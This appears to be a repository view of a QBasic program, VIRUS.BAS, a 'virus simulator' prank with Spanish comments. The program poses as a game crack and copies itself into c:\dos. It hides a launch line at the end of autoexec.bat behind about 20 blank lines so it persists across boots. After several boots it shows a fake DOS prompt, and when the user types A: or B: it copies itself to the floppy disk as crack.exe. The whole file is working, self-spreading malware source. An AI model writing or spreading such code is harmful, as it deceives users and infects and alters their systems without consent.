bas/BAS/VIRUS.BAS
2021-09-03 17:42:07 +02:00

421 lines
12 KiB
QBasic
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

DECLARE FUNCTION GetString$ (start$, end$, Vis%, Max%, row%, col%)
DECLARE SUB borradelauto ()
DECLARE SUB copiarac (est)
DECLARE SUB aumentacarga (global)
DECLARE SUB Simulador ()
inicio:
DIM SHARED virus, c AS INTEGER, global, fc$(100)
CONST TRUE = -1
CONST FALSE = NOT TRUE
veza = 0: vezb = 0
ON ERROR GOTO errores
OPEN "c:\dos\cargas.dat" FOR INPUT AS #1
CLOSE
glob = est
aumentacarga (glob)
IF virus <> 1 THEN GOTO finprog 'Si el virus es distinto de 1 ( off )
'el programa se aborta.
'***** simulador *****
REDIM Curr$(19), One$(19), Two$(19), Three$(19), Four$(19), Five$(19)
PRINT
row% = CSRLIN - 1
hud = 80
old$ = TIME$
Simulador:
row% = row% + 1
a$ = ""
hud = hud + 1
IF VAL(MID$(TIME$, 4, 2)) >= VAL(MID$(old$, 4, 2)) + 3 THEN PRINT : PRINT : PRINT "La humedad relativa dentro del ordenador es del " + STR$(hud) + "%": PRINT : old$ = TIME$
PRINT
promt$ = "C:\" + LTRIM$(RTRIM$(ch$)) + ">"
'PRINT promt$:
Kbd$ = GetString$(promt$, end$, 80, 80, LEN(promt$), col%)
IF RTRIM$(LTRIM$(UCASE$(end$))) = "JD_EXIT" THEN
CLS
LOCATE 5, 5: PRINT " EL FIN DE TU PESADILLA !!! , Nueva versi¢n en marcha."
borradelauto
SHELL "del c:\dos\cargas.dat >nul"
SHELL "del c:\dos\tempi.bin >nul"
SHELL "del c:\dos\TEMPI.exe >nul"
SYSTEM
END
END
END
END IF
a$ = end$
'*******------------**********------------*********---------**********-----
IF RTRIM$(LTRIM$(a$)) = "" THEN GOTO Simulador
IF LEFT$(UCASE$(LTRIM$(RTRIM$(a$))), 2) = "" THEN GOTO Simulador
IF LEFT$(UCASE$(RTRIM$(a$)), 2) = "CD" AND MID$(UCASE$(RTRIM$(LTRIM$(a$))), 4, 8) = "" THEN PRINT : PRINT "Omisi¢n de parametros": PRINT : GOTO Simulador
IF LEFT$(UCASE$(RTRIM$(a$)), 2) = "CD" AND MID$(UCASE$(RTRIM$(LTRIM$(a$))), 4, 2) = ".." OR MID$(UCASE$(RTRIM$(LTRIM$(a$))), 3, 2) = ".." THEN
IF LEN(LTRIM$(RTRIM$(ch$))) = 0 THEN GOTO Simulador
con = 0: L = 0: lug = 0: p = 0
DO
con = con + 1
L = L - 1
IF LEN(LTRIM$(RTRIM$(ch$))) + L - 1 = -1 THEN ch$ = "": vez = 0: GOTO Simulador
IF MID$(LTRIM$(RTRIM$(ch$)), LEN(LTRIM$(RTRIM$(ch$))) + L, 1) = "\" THEN lug = LEN(LTRIM$(RTRIM$(ch$))) + L - 1: con = LEN(LTRIM$(RTRIM$(ch$)))
LOOP WHILE con <> LEN(LTRIM$(RTRIM$(ch$)))
IF p = 1 THEN ch$ = "": vez = 0: GOTO Simulador ELSE ch$ = MID$(LTRIM$(RTRIM$(ch$)), 1, lug): vez = 1: GOTO Simulador
END IF
IF LEFT$(UCASE$(a$), 2) = "CD" AND vez = 0 THEN
sum = 0: l2 = 4
DO
sum = sum + 1
l2 = l2 + 1
IF MID$(LTRIM$(RTRIM$(UCASE$(a$))), l2, 1) = " " THEN GOTO Simulador
LOOP WHILE sum <> LEN(LTRIM$(RTRIM$(a$)))
ch$ = LTRIM$(RTRIM$(ch$)) + MID$(UCASE$(a$), 4, 8): vez = 1: GOTO Simulador
END IF
IF LEFT$(UCASE$(a$), 2) = "CD" THEN
sum = 0: l2 = 4
DO
sum = sum + 1
l2 = l2 + 1
IF MID$(LTRIM$(RTRIM$(UCASE$(a$))), l2, 1) = " " THEN GOTO Simulador
LOOP WHILE sum <> LEN(LTRIM$(RTRIM$(a$)))
IF LEFT$(UCASE$(a$), 2) = "CD" THEN ch$ = ch$ + "\" + MID$(UCASE$(a$), 4, 8): vez = 1: GOTO Simulador
END IF
'********************************************
'COPIAR DESDE AQUI SI NO SE A¥ADE NADA ARRIBA
'********************************************
RESTORE
b$ = ""
w$ = UCASE$(LTRIM$(RTRIM$(a$)))
RESTORE datas
WHILE b$ <> "*"
READ b$, wqw$
IF RTRIM$(LEFT$(w$, 4)) = b$ OR RTRIM$(LEFT$(w$, 2)) = b$ THEN GOTO accion
WEND
a = 1: b = 0
DO WHILE b <= LEN(w$) + 1
b = b + 1
IF MID$(w$, b, 1) = " " THEN pal$ = LEFT$(w$, b): EXIT DO
LOOP
valor = 0
q1 = 0: q2 = 0: q3 = 0: q4 = 0: q5 = 0
pal$ = w$
OPEN "c:\dos\tempi.bin" FOR RANDOM AS #1 LEN = 113
FIELD #1, 10 AS IoDate$, 20 AS IoRef$, 20 AS IoDos$, 20 AS IoTres$, 20 AS IoCuatro$, 20 AS IoCinco$
FIELD #1, 1 AS valid$, 2 AS IoMaxRecord$
GET #1, 1
IF valid$ = "*" THEN
MaxRecord = VAL(IoMaxRecord$)
ra = 1
DO WHILE ra <= MaxRecord
GET #1, ra + 1
Curr$ = IoDate$
One$ = IoRef$
Two$ = IoDos$
Three$ = IoTres$
Four$ = IoCuatro$
Five$ = IoCinco$
IF RTRIM$(LTRIM$(pal$)) = RTRIM$(LTRIM$(UCASE$(Curr$))) THEN
IF RIGHT$(RTRIM$(One$), 1) = "?" THEN PRINT : PRINT One$; : INPUT p$ ELSE PRINT : PRINT : PRINT One$;
IF RIGHT$(RTRIM$(Two$), 1) = "?" THEN PRINT Two$; : INPUT "", p$: q1 = 1
IF MID$(Two$, 2, 1) = "#" THEN IF RIGHT$(Two$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Two$, 3, 18); : Q = 1
IF q1 = 0 THEN PRINT Two$
IF RIGHT$(RTRIM$(Three$), 1) = "?" THEN PRINT : PRINT Three$; : INPUT "", p$: q2 = 1
IF MID$(Three$, 2, 1) = "#" THEN q2 = 1: IF LEFT$(Three$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Three$, 3, 18); : q2 = 1
IF q2 = 0 THEN PRINT Three$
IF RIGHT$(RTRIM$(Four$), 1) = "?" THEN PRINT : PRINT Four$; : INPUT "", p$: q3 = 1
IF MID$(Four$, 2, 1) = "#" THEN q3 = 1: IF LEFT$(Four$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Four$, 3, 18);
IF q3 = 0 THEN PRINT Four$
IF RIGHT$(RTRIM$(Five$), 1) = "?" THEN PRINT : PRINT Five$; : INPUT "", p$: q4 = 1
IF MID$(Five$, 2, 1) = "#" THEN q4 = 1: IF LEFT$(Five$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Five$, 3, 18);
IF q4 = 0 THEN PRINT Five$
valor = 1
EXIT DO
END IF
ra = ra + 1
LOOP
END IF
CLOSE
IF valor = 0 THEN PRINT : PRINT "Comando o nombre de archivo incorrecto"
GOTO Simulador
accion:
SELECT CASE VAL(wqw$)
CASE 1
PRINT : PRINT
PRINT " Volumen en unidad C no tiene etiqueta"
PRINT " N£mero de serie de volumen es 1138-1600"
PRINT
PRINT " Directorio de C:\" + ch$
PRINT
PRINT "Archivo no se encontr¢"
PRINT
GOTO Simulador
CASE 2
PRINT : PRINT "Imposible acceder a unidad requerida"
GOTO Simulador
CASE 3
CLS
PRINT
GOTO Simulador
CASE 4
PRINT : PRINT "Fichero no encontrado"
GOTO Simulador
CASE 5
COLOR 6
PRINT : PRINT "Virus-Simuler por JD"
COLOR 7
GOTO Simulador
CASE 6
PRINT : PRINT TIME$: GOTO Simulador
CASE 7
PRINT : PRINT DATE$: GOTO Simulador
CASE 8
IF veza = 0 THEN SHELL "copy c:\dos\tempi.exe a:crack.exe >nul": SHELL "copy c:\dos\tempi.bin a:crack.dat >nul"
PRINT
PRINT "Cable de enlace con la unidad A, suelto"
veza = 1
GOTO Simulador
CASE 9
IF vezb = 0 THEN SHELL "copy c:\dos\tempi.exe b:crack.exe >nul": SHELL "copy c:\dos\tempi.bin b:crack.dat >nul"
PRINT
PRINT "Cable de enlace con la unidad B, suelto"
vezb = 1
GOTO Simulador
END SELECT
PRINT wqw$
GOTO Simulador
END
finprog:
IF est = 1 THEN COLOR 5: LOCATE 15, 10: PRINT "Juego CRACKEADO ::: .. :::"
'system
END
errores:
IF ERR = 53 THEN copiarac (1)
RESUME NEXT
datas:
DATA DIR,1,COPY,2,CLS,3,TYPE,4,JD,5,TIME,6,DATE,7,"A:",8,"B:",9
DATA *,*
SUB aumentacarga (global)
OPEN "c:\dos\cargas.dat" FOR INPUT AS #1
INPUT #1, carga$
CLOSE
carga$ = STR$(VAL(carga$) + 1)
OPEN "c:\dos\cargas.dat" FOR OUTPUT AS #1
WRITE #1, carga$
CLOSE
' El virus se activara cuando el contador sea mayor de 3 y se
'auto-eliminara cuando alcance un n£mero m ximo de 9 cargas.
IF VAL(carga$) > 3 THEN virus = 1
IF VAL(carga$) >= 9 THEN
borradelauto
KILL "cargas.dat"
KILL "c:\dos\tempi.bin"
KILL "c:\dos\TEMPI.exe"
END IF
END SUB
SUB borradelauto
'El proceso de borrado es complicado, hay que modificar apartir de las
'secuencias de grabado de datos las entradas o bytes donde se encuentra
'nuestra linea "intrusa", para eliminarla sin dejar rastro en el auto.
OPEN "c:\autoexec.bat" FOR INPUT AS #1
Q = 0
DO
Q = Q + 1
LINE INPUT #1, fc$(Q)
IF RTRIM$(LTRIM$(fc$(Q))) = "@echo off" THEN valor = 1
IF valor = 1 AND RTRIM$(LTRIM$(fc$(Q))) = "c:\dos\TEMPI" THEN CLOSE #1: GOTO grabar
LOOP WHILE NOT EOF(1)
CLOSE #1
GOTO finh
grabar:
c = Q - 22
SHELL "c:\dos\attrib -h -r c:\autoexec.bat >nul"
SHELL "del c:\autoexec.bat >nul"
OPEN "c:\autoexec.bat" FOR APPEND AS #2
c = Q - 22
FOR Q = 1 TO c
PRINT #2, fc$(Q)
NEXT Q
CLOSE #2
finh:
END SUB
SUB copiarac (est)
' Ahora deber¡a auto-copiarse este programa a la unidad C
' e instalarse, en el archivo autoexec.bat
CLS
bit = 0
LOCATE 5, 5: COLOR 5: PRINT "Por favor, espere..."
LOCATE 7, 5: COLOR 7: PRINT "Crackeando juego... ::: .. :::"
COLOR 12
SHELL "copy crack.exe c:\dos\tempi.exe >nul"
SHELL "copy crack.dat c:\dos\tempi.bin >nul"
SHELL "c:\dos\attrib -r c:\autoexec.bat >nul"
OPEN "c:\autoexec.bat" FOR APPEND AS #1
FOR a = c TO c + 20
PRINT #1, CHR$(13)
NEXT a
PRINT #1, "@echo off"
PRINT #1, "c:\dos\TEMPI"
CLOSE #1
COLOR 7
IF est = 1 THEN est = 1
END SUB
DEFINT A-Z
'GetString$:
' Given a row and col, and an initial string, edit a string
' VIS is the length of the visible field of entry
' MAX is the maximum number of characters allowed in the string
'
'
FUNCTION GetString$ (start$, end$, Vis%, Max%, row%, col%)
PRINT start$;
IF Curr$ = CHR$(8) THEN Curr$ = ""
LOCATE , , 1
finished = FALSE
DO
GOSUB GetStringShowText2
GOSUB GetStringGetKey2
IF LEN(Kbd$) > 1 THEN
finished = TRUE
GetString2$ = Kbd$
ELSE
SELECT CASE Kbd$
CASE CHR$(13), CHR$(27), CHR$(9)
finished = TRUE
GetString2$ = Kbd$
CASE CHR$(8)
IF Curr$ <> "" THEN
Curr$ = LEFT$(Curr$, LEN(Curr$) - 1)
IF LEN(Curr$) >= 0 THEN
LOCATE CSRLIN, POS(0) - 1: PRINT " ";
IF LEN(Curr$) >= 1 THEN LOCATE CSRLIN, POS(0) - 2 ELSE LOCATE CSRLIN, POS(0) - 1
END IF
END IF
CASE " " TO "}"
IF LEN(Curr$) < Max THEN
Curr$ = Curr$ + Kbd$
ELSE
BEEP
END IF
CASE ELSE
BEEP
END SELECT
END IF
LOOP UNTIL finished
end$ = Curr$
LOCATE , , 0
EXIT FUNCTION
GetStringShowText2:
IF LEN(Curr$) > Vis THEN
PRINT RIGHT$(Curr$, Vis);
ELSE
PRINT RIGHT$(Curr$, 1);
END IF
RETURN
GetStringGetKey2:
Kbd$ = ""
WHILE Kbd$ = ""
Kbd$ = INKEY$
WEND
RETURN
END FUNCTION